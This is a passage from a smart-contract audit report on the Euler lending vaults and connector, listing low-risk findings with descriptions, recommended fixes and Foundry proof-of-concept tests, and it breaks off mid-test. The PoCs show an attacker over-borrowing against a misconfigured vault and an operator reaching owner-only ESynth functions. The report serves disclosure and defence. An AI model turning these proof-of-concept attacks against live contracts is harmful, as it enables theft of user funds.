  /// lost because a regular asset doesn't support the EVC's sub-accounts. The private key to a sub-account
↪  (not the
  /// owner) is not known, so the user would not be able to move the funds out. The function will make a best
↪  effort
  /// to prevent this by checking if the receiver of the token is recognized by EVC as a non-owner
↪  sub-account. In
  /// other words, if there is an account registered in EVC as the owner for the intended receiver, the
↪  transfer will
  /// be prevented. However, there is no guarantee that EVC will have the owner registered. If the asset
↪  itself is
- /// compatible with EVC, it is safe to not set the flag and send the asset to a non-owner sub-account.
+ /// compatible with EVC, the flag should be set, i.e.
↪  `(vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) == false`, because it's safe to send the asset
↪  to a non-owner sub-account.
```

3.1.34 Mismatch between whitepaper and code

Submitted by mt030d

Severity: Low Risk

Context: EthereumVaultConnector.sol#L261-L264

Description: According to the EVC whitepaper:

> In order to resolve a sub-account, the getAccountOwner function should be called with a sub-account address. It will either return the account's primary address, or revert with an error if the account has not yet interacted with the EVC.

However, instead of reverting with an error, `getAccountOwner` returns the zero address if the account has not yet interacted with the EVC.

Recommendation: It seems the whitepaper is outdated. Consider updating the whitepaper to match the code.

3.1.35 Malicious controllers make EVC compatible tokens intrinsically susceptible to reentrancy

Submitted by 100proof

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Malicious controllers make EVC compatible tokens intrinsically susceptible to reentrancy. EVC compatible tokens are weird tokens when used without the EVC. A malicious controller can be enabled and execute arbitrary code during a fake status check. Any contracts that deal with EVC compatible tokens must be hardened against reentry during transfers.

An attacker can enable a malicious controller on their own account for any EVC compatible token. The status check function of this malicious controller can have arbitrary behaviour. When any other contract tries to transfer that token outside of a checks-deferred context the EVC will immediately call into the malicious controller to perform a status check, at which point victim contracts can be reentered and damaging side effects triggered.

This is considered a very dangerous pattern, causing security problems similar to ERC-777 tokens.

These tokens are weird and hazardous to any users or contracts that are unaware of the EVC. This runs against the spirit of DeFi, reduces incentives to integrate with these tokens and harms adoption of the Euler lending ecosystem. It hinders a liquid market in vault shares and other collateral.

Ironically, EVC compatible tokens and shares cannot be safely used as a collateral inside an EVC/EVault fork or other similar lending system because they would be too dangerous. This difficulty applies to all EVC compatible tokens, including:

- Synths.
- Vault Shares.
- All `ERC20Collateral` derived tokens.

EVC compatible tokens are likely to be perceived as be safe because of the reputation of the lending system. This makes it very likely an integrator will assume they are as safe to use as other standard tokens. It is desirable that Synths are highly compatible and can be traded wherever the pegged token can, this design limits interoperability.

Recommendation: EVC calls to `IVault.checkAccountStatus(...)` should be done using a *static call* when invoked immediately outside of a checks deferred context. Alternatively, add a function variant called `IVault.checkAccountStatusSafe(...)` which is a view function called when outside a checks deferred context. This would prevent mutation side effects in the critical situation that one of these tokens is transferred by a contract unaware of the EVC while still preventing unwanted collateral movement safely. This small change will greatly improve safety for the wider DeFi ecosystem and improve adoption and liquidity with negligible loss of flexibility.

While there is some small benefit to allowing mutability in status checks for things like updating internal caches, vaults can still do this when called from a checks deferred context.

Making `checkAccountStatus()` a view function and always using a staticcall should also be seriously considered. It could prevent large classes of (as yet undiscovered) attacks against vulnerable vaults that are implemented in the future. Since vaults are meant to compose, limiting the ability of status checks to manipulate state -- even inside deferred status checks -- has substantial security benefits.

Allowing status checks to perform mutations and have arbitrary side effects during transfers when outside a checks-deferred context (and likely during execution of an EVC unaware contract) is too dangerous and not a favourable security trade-off. Making status checks side-effect free has a large security benefit and very low cost.

Note: the current `EVault` implementation of `checkAccountStatus()` can be turned into a view without compilation errors.

Proof of concept:

```
//// Modified snippet from EthereumVaultConnector.sol

function checkAccountStatusInternal(address account, bool useSafeCall) internal virtual returns (bool isValid,
↪  bytes memory result) {
    SetStorage storage accountControllersStorage = accountControllers[account];
    uint256 numOfControllers = accountControllersStorage.numElements;
    address controller = accountControllersStorage.firstElement;
    uint8 stamp = accountControllersStorage.stamp;

    if (numOfControllers == 0) return (true, "");
    else if (numOfControllers > 1) return (false, abi.encodeWithSelector(EVC_ControllerViolation.selector));

    bool success;
    if (useSafeCall) {
        // Use a static call when executing immediately during a transfer, outside a checks deferred context.
        (success, result) =
            controller.staticcall(abi.encodeCall(IVault.checkAccountStatusSafe, (account,
↪  accountCollaterals[account].get())));
    } else {
        // Use a normal call only when running deferred checks after the transfer has taken place.
        (success, result) =
            controller.call(abi.encodeCall(IVault.checkAccountStatus, (account,
↪  accountCollaterals[account].get())));
    }

    isValid = success && result.length == 32
        && abi.decode(result, (bytes32)) == bytes32(IVault.checkAccountStatus.selector);

    if (isValid) {
        accountControllersStorage.numElements = uint8(numOfControllers);
        accountControllersStorage.firstElement = controller;
        accountControllersStorage.metadata = uint80(block.timestamp);
        accountControllersStorage.stamp = stamp;
    }

    emit AccountStatusCheck(account, controller);
}
```

3.1.36 Governor setting asset as valid collateral allows anyone to borrow outsized amounts of asset

Submitted by 100proof

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: If a governor were to accidentally set the asset of an EVault as collateral this allows anyone to borrow outsized amounts of assets.

Example:

- eeUSDC vault is created. eUSDC is the asset. Vault contains 1,000,000 eUSDC.
- Governor accidentally calls `setLTV` with eUSDC as a valid collateral with an LTV of 0.98
- Say attacker has 10,000 eUSDC.
- They can now borrow 487,000 eUSDC since: 10,000 + 487,000 * 0.98 = 487,060 > 487,000.

If they had even more capital they could borrow every token in the vault preventing:

- More borrows.
- `withdraw`/`redeem` of eUSDC shares.

The maximum amount they can borrow for an initial amount a is

$$a\left(\frac{v}{1-v}\right)$$

The term $\frac{v}{1-v}$ is the multiplier. Here is the multiplier for various LTVs:

LTV	multiplier
0.90	10
0.95	20
0.98	50
0.99	100

Also, since the price of eUSDC vs eUSDC will always be 1.00, this loan cannot be liquidated until sufficient interest has been accrued. However, given the size of the loan this will happen fairly quickly.

However, if governor makes this mistake it is also relatively easily fixed by:

- Setting the LTV to zero
- In a batch:
  - Liquidating the attacker's position.
  - Paying back the debt with seized collateral (since they are the same token).

Impact: Since making this mistake is relatively unlikely and given that it is easily fixed by the governor this is clearly a Low Severity finding. However, given how easy it is to remove this foot-gun we have submitted it anyway.

Recommendation: An extra check should be added to `Governance#setLTV` to prevent the asset being set as a valid collateral.

```
function setLTV(address collateral, uint16 borrowLTV, uint16 liquidationLTV, uint32 rampDuration)
    public
    virtual
    nonReentrant
    governorOnly
{
    (IERC20 asset,,) = ProxyUtils.metadata();
    // self-collateralization and asset as collateral are not allowed
    if (collateral == address(this) || collateral == address(asset)) revert E_InvalidLTVAsset();
    // ...
```

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {DeployPermit2} from "permit2/test/utils/DeployPermit2.sol";
import {EthereumVaultConnector} from "ethereum-vault-connector/EthereumVaultConnector.sol";
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
import {IVault} from "ethereum-vault-connector/interfaces/IVault.sol";

import {GenericFactory} from "../../src/GenericFactory/GenericFactory.sol";

import {EVault} from "../../src/EVault/EVault.sol";
import {ProtocolConfig} from "../../src/ProtocolConfig/ProtocolConfig.sol";
import {SequenceRegistry} from "../../src/SequenceRegistry/SequenceRegistry.sol";

import {Dispatch} from "../../src/EVault/Dispatch.sol";

import {Initialize} from "../../src/EVault/modules/Initialize.sol";
import {Token} from "../../src/EVault/modules/Token.sol";
import {Vault} from "../../src/EVault/modules/Vault.sol";
import {Borrowing} from "../../src/EVault/modules/Borrowing.sol";
import {Liquidation} from "../../src/EVault/modules/Liquidation.sol";
import {BalanceForwarder} from "../../src/EVault/modules/BalanceForwarder.sol";
import {Governance} from "../../src/EVault/modules/Governance.sol";
import {RiskManager} from "../../src/EVault/modules/RiskManager.sol";

import {IEVault, IERC20} from "../../src/EVault/IEVault.sol";
import {IPriceOracle} from "../../src/interfaces/IPriceOracle.sol";
import {Base} from "../../src/EVault/shared/Base.sol";
import {Errors} from "../../src/EVault/shared/Errors.sol";

import {TestERC20} from "../../test/mocks/TestERC20.sol";
```

```
import {MockBalanceTracker} from "../../test/mocks/MockBalanceTracker.sol";
import {IRMTestDefault} from "../../test/mocks/IRMTestDefault.sol";
import {Pretty} from "../../test/invariants/utils/Pretty.sol";

contract AssetAsCollateralBorrowTest is Test, DeployPermit2 {
    using Pretty for uint256;
    using Pretty for int256;
    using Pretty for uint16;

    address admin;
    address feeReceiver;
    address protocolFeeReceiver;
    ProtocolConfig protocolConfig;
    MockPriceOracle oracle;
    MockBalanceTracker balanceTracker;
    address permit2;
    address sequenceRegistry;

    GenericFactory public factory;
    EthereumVaultConnector public evc;

    Base.Integrations integrations;
    Dispatch.DeployedModules modules;

    address initializeModule;
    address tokenModule;
    address vaultModule;
    address borrowingModule;
    address liquidationModule;
    address riskManagerModule;
    address balanceForwarderModule;
    address governanceModule;

    EVault public coreProductLine;
    EVault public escrowProductLine;

    TestERC20 USDC;

    IEVault public eUSDC;
    IEVault public eeUSDC;

    /* Constants for the PoC */
    uint256 INIT_ATTACKER = 10_000e18;
    uint256 INIT_LIQUIDATOR = 1_000e18;
    uint256 INIT_VAULT_USDC_BAL = 1e6 * 1e18;
    uint256 USDC_MINT_AMOUNT   = INIT_VAULT_USDC_BAL +  INIT_ATTACKER + INIT_LIQUIDATOR;
    uint16 LTV = 0.98e4;

    function setUp() public virtual {
        admin = vm.addr(1000);
        feeReceiver = makeAddr("feeReceiver");
        protocolFeeReceiver = makeAddr("protocolFeeReceiver");
        factory = new GenericFactory(admin);

        evc = new EthereumVaultConnector();
        protocolConfig = new ProtocolConfig(admin, protocolFeeReceiver);
        balanceTracker = new MockBalanceTracker();
        oracle = new MockPriceOracle();
        permit2 = deployPermit2();
        sequenceRegistry = address(new SequenceRegistry());
        integrations =
            Base.Integrations(address(evc), address(protocolConfig), sequenceRegistry,
↪   address(balanceTracker), permit2);

        initializeModule = address(new Initialize(integrations));
        tokenModule = address(new Token(integrations));
        vaultModule = address(new Vault(integrations));
        borrowingModule = address(new Borrowing(integrations));
        liquidationModule = address(new Liquidation(integrations));
        riskManagerModule = address(new RiskManager(integrations));
        balanceForwarderModule = address(new BalanceForwarder(integrations));
        governanceModule = address(new Governance(integrations));

        modules = Dispatch.DeployedModules({
            initialize: initializeModule,
            token: tokenModule,
```

```
            vault: vaultModule,
            borrowing: borrowingModule,
            liquidation: liquidationModule,
            riskManager: riskManagerModule,
            balanceForwarder: balanceForwarderModule,
            governance: governanceModule
        });


        EVault evaultImpl = new EVault(integrations, modules);
        vm.prank(admin); factory.setImplementation(address(evaultImpl));

        USDC = new TestERC20("Fake USDC", "USDC", 18, false);

        vm.label(address(USDC), "Fake USDC");

        address unitOfAccount = address(USDC);

        eUSDC = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(USDC), address(oracle),
↪   unitOfAccount))
        );
        eUSDC.setInterestRateModel(address(new IRMTestDefault()));

        eeUSDC = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(eUSDC), address(oracle),
↪   unitOfAccount))
        );
        eeUSDC.setInterestRateModel(address(new IRMTestDefault()));
        vm.label(address(eUSDC), "eUSDC");
        vm.label(address(eeUSDC), "eeUSDC");
    }

    function test_AssetAsCollateralBorrow() public {
        address attacker = makeAddr("attacker");
        address liquidator = makeAddr("liquidator");

        uint160 prefix = uint160(attacker) & ~uint160(0xff);

        // Set initial prices
        oracle.setPrice(address(eUSDC), address(USDC), 1e18);
        oracle.setPrice(address(eeUSDC), address(USDC), 1e18);



        USDC.approve(address(eUSDC), type(uint256).max);
        eUSDC.approve(address(eeUSDC), type(uint256).max);

        USDC.mint(address(this), USDC_MINT_AMOUNT);
        eUSDC.deposit(INIT_VAULT_USDC_BAL, address(this));
        eUSDC.deposit(INIT_ATTACKER, attacker);
        eUSDC.deposit(INIT_LIQUIDATOR, liquidator);
        eeUSDC.deposit(INIT_VAULT_USDC_BAL, address(this));

        // Set LTVs
        //
        // eeUSDC accepts eUSDC as collateral. Weird.
        //
        eeUSDC.setLTV(address(eUSDC), LTV, LTV, 0);

        // Setup Token transfer allowances for attacker
        vm.startPrank(attacker);
        USDC.approve(address(eUSDC), type(uint256).max);
        eUSDC.approve(address(eeUSDC), type(uint256).max);
        vm.stopPrank();

        // Enable controllers and collateral
        vm.startPrank(attacker);
        evc.enableController(attacker, address(eeUSDC));
        evc.enableCollateral(attacker, address(eUSDC));
        vm.stopPrank();

        vm.startPrank(attacker);
        console.log("--- Balances before borrow ---");
        logAccountBalances("this", address(this));
        logAccountBalances("attacker", attacker);
```

```
        uint256 amt = eUSDC.balanceOf(attacker);

        if (LTV < 1e4) {
          uint256 borrowAmt = amt * LTV / (1e4 - LTV + 1) / 4;
          eeUSDC.borrow(borrowAmt, attacker);
        } else {
          eeUSDC.borrow(INIT_VAULT_USDC_BAL, attacker);
        }
        console.log("--- Balances after borrow ---");
        logAccountBalances("attacker", attacker);
        vm.stopPrank();

        console.log("--- Governor notices mistake and fixes it ---");

        eeUSDC.setLTV(address(eUSDC), 0,0,0);
        logAccountBalances("attacker (after LTV set to zero) ", attacker);

        (uint256 maxRepay, uint256 maxYield) = eeUSDC.checkLiquidation(liquidator, attacker, address(eUSDC));
        console.log("liquidation params: maxRepay = %s , maxYield = %s", maxRepay.pretty(), maxYield.pretty());

        vm.startPrank(liquidator);
        eUSDC.approve(address(eeUSDC), type(uint256).max);
        evc.enableController(liquidator, address(eeUSDC));

        console.log("Attempt liquidation");

        IEVC.BatchItem[] memory items = new IEVC.BatchItem[](2);

        items[0] = IEVC.BatchItem({
            onBehalfOfAccount: liquidator,
            targetContract: address(eeUSDC),
            value: 0,
            data: abi.encodeCall(eeUSDC.liquidate, (attacker, address(eUSDC), type(uint256).max, 0))
        });

        items[1] = IEVC.BatchItem({
            onBehalfOfAccount: liquidator,
            targetContract: address(eeUSDC),
            value: 0,
            data: abi.encodeCall(eeUSDC.repay, (type(uint256).max, liquidator))
        });

        evc.batch(items);

        logAccountBalances("attacker", attacker);
        logAccountBalances("liquidator", liquidator);
        vm.stopPrank();

    }

    function logAccountBalances(string memory s, address account) internal {
          uint256 collateralValue;
          uint256 liabilityValue;
          console.log("%s {", s);

          console.log("   USDC:            %s", USDC.balanceOf(account).pretty());
          console.log("  eUSDC:            %s", eUSDC.balanceOf(account).pretty());
          console.log(" eeUSDC:            %s", eeUSDC.balanceOf(account).pretty());

          address[] memory cs = evc.getControllers(account);
          if (cs.length > 0 && cs[0] == address(eeUSDC)) {
            (collateralValue, liabilityValue) = eeUSDC.accountLiquidity(account, false);
            console.log("  eeUSDC {");
            console.log("    collateral value:    %s", collateralValue.pretty());
            console.log("    liability:           %s", liabilityValue.pretty());
            console.log("  }");
          }
          console.log("}");
    }
}

contract MockPriceOracle {

    mapping(address base => mapping(address quote => uint256)) price;
```

```
    function name() external pure returns (string memory) {
        return "MockPriceOracle";
    }

    function getQuote(uint256 amount, address base, address quote) public view returns (uint256 out) {
        return amount * price[base][quote] / 1e18;
    }

    function getQuotes(uint256 amount, address base, address quote)
        external
        view
        returns (uint256 bidOut, uint256 askOut)
    {
        bidOut = askOut = getQuote(amount, base, quote);
    }

    ///// Mock functions

    function setPrice(address base, address quote, uint256 newPrice) external {
        price[base][quote] = newPrice;
    }

}
```

3.1.37 Parameter typo

Submitted by Emile Baizel

Severity: Low Risk

Context: IRMSynth.sol#L39

Description: The last parameter is misspelled. `targetQuoute_` should be `targetQuote_`. I wouldn't normally point typos out, but this code base is so clean and well-written that this typo feels like a fingerprint smudge on a pair of designer sunglasses.

Recommendation: `targetQuoute_` should be `targetQuote_`.

3.1.38 Uniswap oracle are very easy to manipulate on L2

Submitted by another, also found by 0xTheBlackPanther

Severity: Low Risk

Context: UniswapV3Oracle.sol#L72

Description: The protocol aims to deploy on Ethereum, Arbitrum, Optimism and Base. However, the cost of manipulating TWAP in L2 networks is very low so TWAP oracle should not be used on them. This is due to the short average blocktime on most L2 chains. The information provided by the Uniswap team, as documented in the Uniswap Oracle Integration on Layer 2 Rollups guide, primarily addresses the integration of Uniswap oracle on L2 Optimism. This also affects Arbitrum too as its blocktime is also very low.

```
function _getQuote(uint256 inAmount, address base, address quote) internal view override returns (uint256) {
    if (!((base == tokenA && quote == tokenB) || (base == tokenB && quote == tokenA))) {
        revert Errors.PriceOracle_NotSupported(base, quote);
    }
    // Size limitation enforced by the pool.
    if (inAmount > type(uint128).max) revert Errors.PriceOracle_Overflow();

    uint32[] memory secondsAgos = new uint32[](2);
    secondsAgos[0] = twapWindow;

    // Calculate the mean tick over the twap window.
    (int56[] memory tickCumulatives,) = IUniswapV3Pool(pool).observe(secondsAgos);
    int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
    int24 tick = int24(tickCumulativesDelta / int56(uint56(twapWindow)));
    if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int56(uint56(twapWindow)) != 0)) tick--;
    return OracleLibrary.getQuoteAtTick(tick, uint128(inAmount), base, quote);
}
```

Recommendation: Consider not deploying `UniswapV3Oracle.sol` and using one of the other adapters.

3.1.39 Mismatch between comment and code

Submitted by mt030d

Severity: Low Risk

Context: IEVault.sol#L383-L385

Description: The comment states that the fee share is in wad scale (`1e18`). However, the fee share returned from `protocolFeeShare()` is in basis points (`1e4`).

Recommendation: Update the comment to align with the code.

3.1.40 `protocolFeeShare()` might return a value different than the actual used value

Submitted by mt030d, also found by alexzoid

Severity: Low Risk

Context: Governance.sol#L123-L127, Governance.sol#L224-L228

Description:

```
} else if (protocolFee > MAX_PROTOCOL_FEE_SHARE) {
    protocolFee = MAX_PROTOCOL_FEE_SHARE;
}
```

In `convertFees()`, if the ProtocolConfig sends back a protocol fee share greater than 50% (MAX_PROTOCOL_FEE_SHARE), then vaults will ignore this value and use 50% instead. However, the `protocolFeeShare()` view function does not reflect this behavior. If the ProtocolConfig returns a higher protocol fee share (e.g., 70%), the `protocolFeeShare()` view function will return this number instead of the used value (50%).

```
if (governorReceiver == address(0)) {
    protocolFee = CONFIG_SCALE; // governor forfeits fees
```

Moreover, when the `governorReceiver` is `address(0)`, the governor forfeits all the fees, thus the `protocolFeeShare` in this case becomes 100%, which is also not reflected in the `protocolFeeShare()` function.

Recommendation: Consider change `protocolFeeShare()` to align with `convertFees()`:

```
  function protocolFeeShare() public view virtual reentrantOK returns (uint256) {
  function protocolFeeShare() public view virtual reentrantOK returns (uint256) {
    (, uint256 protocolShare) = protocolConfig.protocolFeeConfig(address(this));
+     if (vaultStorage.feeReceiver == address(0)) return CONFIG_SCALE;
+     if (protocolShare > MAX_PROTOCOL_FEE_SHARE) {
+         return MAX_PROTOCOL_FEE_SHARE;
+     }
    return protocolShare;
  }
```

3.1.41 Update comments to accurately reflect the whitepaper and the code

Submitted by Emile Baizel

Severity: Low Risk

Context: TransientStorage.sol#L13

Description: For readability, the phrase `does not change between transactions` should be rephrased to `does not change between invocations`, bringing it in line with how Transient Storage is described in the EVC whitepaper. I mention making this change because it had me spinning my wheels for a bit when I was trying to grasp how the executioncontext works.

Recommendation: Rephrase to "*does not change between invocations*".

3.1.42 A non-owner account might have the chance to access owner-only functions in `ESynth`

Submitted by 0xpiken

Severity: Low Risk

Context: ERC20Collateral.sol#L71-L73, ESynth.sol#L104-L111, ESynth.sol#L116-L118, ESynth.sol#L125-L127, ESynth.sol#L131-L143, ESynth.sol#L42-L45

Description: It is stated in `ESynth.sol` that only the owner of `ESynth` is allowed to manage minters' capacities by calling `ESynth#setCapacity()`.

Several other functions should also be accessible only by the owner of `ESynth`:

- Allocating to a Vault.
- Deallocating from a vault.
- Total Supply adjustments.

In the meantime the EVK whitepaper points out that `ESynth` is a ERC-20 compatible token with EVC support, which means that EVC Authorisation works for `ESynth`: *An account can enable operators acting on behalf of them and their sub-accounts*.

To prevent any operator/controller of the governor admin from accessing governance functions, `EVault` enforces `governorOnly` modifier for all governance functions:

```
modifier governorOnly() {
    if (vaultStorage.governorAdmin != EVCAuthenticateGovernor()) revert E_Unauthorized();
    _;
}

function EVCAuthenticateGovernor() internal view virtual returns (address) {
    if (msg.sender == address(evc)) {
        (address onBehalfOfAccount,) = evc.getCurrentOnBehalfOfAccount(address(0));

        if (
            isKnownNonOwnerAccount(onBehalfOfAccount) || evc.isOperatorAuthenticated()
                || evc.isControlCollateralInProgress()
        ) {
            revert E_Unauthorized();
        }

        return onBehalfOfAccount;
    }
    return msg.sender;
}
```

However, `ESynth` did not enforce similar limitations, resulting in the operator/controller of the owner being able to access all owner-only functions:

- `setCapacity()`
- `allocate()`
- `deallocate()`
- `addIgnoredForTotalSupply()`
- `removeIgnoredForTotalSupply()`
- `renounceOwnership()`
- `transferOwnership()`

The problem is that the `onlyOwner` modifier in `ESynth` uses `_msgSender()` to obtain the caller's address, however `_msgSender()` has been rewritten:

- `ESynth#_msgSender()`:

```
function _msgSender() internal view virtual override (ERC20Collateral, Context) returns (address) {
    return ERC20Collateral._msgSender();
}
```

- `ERC20Collateral#_msgSender()`:

```
function _msgSender() internal view virtual override (EVCUtil, Context) returns (address) {
    return EVCUtil._msgSender();
}
```

Proof of concept: Create `Esynth.setCapacity.t.sol` with below codes, and run `forge test --match-test test_setCapacityByOperator`:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.20;

import {ESynthTest} from "./lib/ESynthTest.sol";
import {stdError} from "forge-std/Test.sol";
import {Errors} from "../../../src/EVault/shared/Errors.sol";
import {ESynth} from "../../../src/Synths/ESynth.sol";
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
contract ESynthSetCapacityTest is ESynthTest {
    uint128 constant MAX_ALLOWED = type(uint128).max;
    function test_setCapacityByOperator() public {
        address operator = makeAddr("operator");
        //@audit-info the minting capacity is 0
        (uint128 capacity, ) = esynth.minters(address(this));
        assertEq(capacity, 0);
        //@audit-info set operator as the operator of governor
        evc.setOperator(evc.getAddressPrefix(address(this)), operator, type(uint256).max);
        // esynth.setCapacity(address(this), MAX_ALLOWED);
        bytes memory setCapacityCall = abi.encodeCall(esynth.setCapacity, (address(this), MAX_ALLOWED));
        vm.prank(operator);
        //@audit-info operator call esynth.setCapacity(address(this), MAX_ALLOWED) through evc.call()
        evc.call(address(esynth), address(this), 0, setCapacityCall);
        //@audit-info the minting capacity is set successfully
        (capacity, ) = esynth.minters(address(this));
        assertEq(capacity, MAX_ALLOWED);
    }
}
```

Recommendation: The operator(s)/controller of the owner must be prevented from accessing any owner-only functions in `ESynth`. Adds below codes into `ESynth.sol`:

```
function EVCAuthenticateNonDelegatee() internal view virtual returns (address) {
    if (msg.sender == address(evc)) {
        (address onBehalfOfAccount,) = evc.getCurrentOnBehalfOfAccount(address(0));

        if (evc.isOperatorAuthenticated() || evc.isControlCollateralInProgress()) {
            revert E_Unauthorized();
        }

        return onBehalfOfAccount;
    }
    return msg.sender;
}
function _checkOwner() internal view virtual override (Ownable) {
    if (owner() != EVCAuthenticateNonDelegatee()) {
        revert OwnableUnauthorizedAccount(EVCAuthenticateNonDelegatee());
    }
}
```

3.1.43 In spite of correctly specifying `minYieldBalance`, incomplete slippage protection & missing deadline in `liquidate()` lead to loss

Submitted by t0x1c

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The liquidate() function allows the liquidator to specify a `minYieldBalance` param. The protocol explains this to be the "*The minimum acceptable amount of collateral to be transferred from violator to sender, in collateral balance units*" as per the natspec:

```
File: src/EVault/modules/Liquidation.sol

46:@--->         function liquidate(address violator, address collateral, uint256 repayAssets, uint256
↪  minYieldBalance)
47:                  public
48:                  virtual
49:                  nonReentrant
50:              {
51:                  (VaultCache memory vaultCache, address liquidator) = initOperation(OP_LIQUIDATE,
↪  CHECKACCOUNT_CALLER);
52:
53:                  LiquidationCache memory liqCache =
54:                      calculateLiquidation(vaultCache, liquidator, violator, collateral, repayAssets);
55:
56:@--->              executeLiquidation(vaultCache, liqCache, minYieldBalance);
57:              }
```

- Natspec:

```
File: src/EVault/IEVault.sol

283:              /// @notice Attempts to perform a liquidation
284:              /// @param violator Address that may be in collateral violation
285:              /// @param collateral Collateral which is to be seized
286:              /// @param repayAssets The amount of underlying debt to be transferred from violator
↪  to sender, in asset units (use
287:              /// max uint256 to repay the maximum possible amount).
288:@--->          /// @param minYieldBalance The minimum acceptable amount of collateral to be
↪  transferred from violator to sender, in
289:@--->          /// collateral balance units (shares for vaults)
290:              function liquidate(address violator, address collateral, uint256 repayAssets, uint256
↪  minYieldBalance) external;
```

"*The minimum acceptable amount of collateral*" however is not enough to provide slippage protection *even when the user correctly specifies `minYieldBalance`*, as is shown in the following Proof of Concept section. It gives the liquidator very little control over the expected price ratio of debt & collateral. They should have been able to specify a `min_CollateralValue_By_DebtValue_Ratio`. Also, there is no provision to specify a deadline parameter while calling `liquidate()`.

Impact: This means that if the transaction does not get executed immediately, which is quite common, then a price fluctuation in either the debt asset (upward) or the collateral asset (downward) can result in the liquidator taking on a much higher debt than they had anticipated. Additional absence of a deadline means this could remain in the mempool for a long time before getting executed at a worse price.

There could even be a case where the debt finally gets transferred to the liquidator at a rate just above par and then even a slight price movement causes the caller to be either in loss or even worse, get liquidated if LTV is breached.

Proof of concept: Consider the following example where the liquidator specifies `10e18` as the `minYieldBalance` so that he gets at least 10 units of collateral after the transaction. This however is not sufficient to protect him from an adverse price movement (the examples are reproduced with the same numbers in the coded proof of concept):

- Let's assume LTV of 90%. Bob borrows `8e18` against a collateral of `10e18` (10 collateral tokens priced at `1e18` each). The configuration for current `maxLiquidationDiscount` is `0.2e4`.
- Collateral price drops to `0.8e18` per token. Debt price rises to `1.1e18` per token. Hence, total `collateralValue = 8e18` while total `liabilityValue = 8.8e18`. Debt is now greater than permissible LTV, hence Bob can be liquidated.
- The liquidator expects a decent profit to be made after doing his calculations and hence calls `liquidate(violator, collateralAddr, type(uint256).max, 10e18);`.

Note the slippage protection specified by him of 10 tokens which is respected in both the cases, yet still dangerous for him in the second case. Also, for our examples he maintains an initial collateral balance of `10` before calling `liquidate()`.

- Let's consider 2 cases (expectation vs reality):
  - ***Case-1: (Expectation)***

    * The `liabilityValue` transferred over to him in this case is `6.545454545454545447e18` while the `collateralAdjustedValue` transferred is `7.200000000000000007e18`.
    * He is comfortably below the max LTV and enjoys a healthy profit.
- ***Case-2: (Reality)***
    * The transaction with call to `liquidate()` remains in the mempool for a few seconds or minutes. Meanwhile, the debt price drops to `1e18` per token.
    * When the tx finally gets picked up, the `liabilityValue` transferred over to the liquidator in this case is `7.2e18` while the `collateralAdjustedValue` transferred is `7.200000000000000007e18`.
    * He is just below the allowed LTV and precariously close to being eligible for being liquidated even if a slight negative price movement happens in next few seconds. Also, his profits are negligible or could even be negative after taking into account the gas cost.

Apply the following patch and run `test_t0x1c_incompleteSlippage()` to see the results:

```
diff --git a/test/unit/evault/modules/Liquidation/basic.t.sol b/test/unit/evault/modules/Liquidation/basic.t.s
ol
index 2a0cc6e..b273a90 100644
--- a/test/unit/evault/modules/Liquidation/basic.t.sol
+++ b/test/unit/evault/modules/Liquidation/basic.t.sol
@@ -6,7 +6,7 @@ import {EVaultTestBase} from "../../EVaultTestBase.t.sol";
 import {Events} from "../../../../../src/EVault/shared/Events.sol";
 import {SafeERC20Lib} from "../../../../../src/EVault/shared/lib/SafeERC20Lib.sol";
 import {IAllowanceTransfer} from "permit2/src/interfaces/IAllowanceTransfer.sol";
-
+import {TestERC20} from "../../../../mocks/TestERC20.sol";
 import {console} from "forge-std/Test.sol";

 import "../../../../../src/EVault/shared/types/Types.sol";
@@ -183,4 +183,101 @@ contract LiquidationUnitTest is EVaultTestBase {
         assertEq(eTST.debtOf(borrower), 0);
         assertEq(eTST2.balanceOf(borrower), 0);
     }
+
+    function test_t0x1c_incompleteSlippage() public {
+        TestERC20 assetTST3;
+        assetTST3 = new TestERC20("Test Token 3", "TST3", 18, false);
+
+        IEVault eTST3 = IEVault(
+            factory.createProxy(address(0), true, abi.encodePacked(address(assetTST3), address(oracle),
↪  unitOfAccount))
+        );
+
+        oracle.setPrice(address(assetTST3), unitOfAccount, 1e18);
+
+        startHoax(borrower);
+
+        assetTST3.mint(borrower, type(uint256).max);
+        assetTST3.approve(address(eTST3), type(uint256).max);
+
+        uint256 borrowerCollateralQty = 10e18;
+        eTST3.deposit(borrowerCollateralQty, borrower);
+
+        evc.enableCollateral(borrower, address(eTST3));
+        evc.enableController(borrower, address(eTST));
+        vm.stopPrank();
+
+        uint256 ltv = 0.9e4;
+        eTST.setLTV(address(eTST3), uint16(ltv), uint16(ltv), 0);
+
+        startHoax(borrower);
+        uint borrowAmt = 8e18;
+        eTST.borrow(borrowAmt, borrower);
+        assertEq(assetTST.balanceOf(borrower), borrowAmt);
+        vm.stopPrank();
+
+        uint depositInitialAmt = 10; // buffer collateral maintained by liquidator before liquidating
+
+        uint256 collateralDroppedPrice = 0.8e18;
+
```

```
+        uint256 snapshot = vm.snapshot();
+        console.log("\n============================== Case_1 (Liquidator's Expectation)
↪  ==============================================\n");
+
+        uint256 newDebtAssetPrice = 1.1e18; // Case_1 (asset price rises at the same time)
+
+        oracle.setPrice(address(assetTST3), unitOfAccount, collateralDroppedPrice);
+        oracle.setPrice(address(assetTST), unitOfAccount, newDebtAssetPrice);
+
+        startHoax(liquidator);
+
+        evc.enableCollateral(liquidator, address(eTST3));
+        evc.enableController(liquidator, address(eTST));
+
+        assetTST3.mint(liquidator, type(uint256).max);
+        assetTST3.approve(address(eTST3), type(uint256).max);
+        eTST3.deposit(depositInitialAmt, liquidator);
+
+        uint prevBal1 = eTST3.balanceOf(liquidator);
+        eTST.liquidate(borrower, address(eTST3), type(uint256).max, 10e18); // @audit-info : user has
↪  provided `minYieldBalance = 10 tokens`
+
+        (uint256 collateralValueL, uint256 liabilityValueL) = eTST.accountLiquidity(liquidator, false);
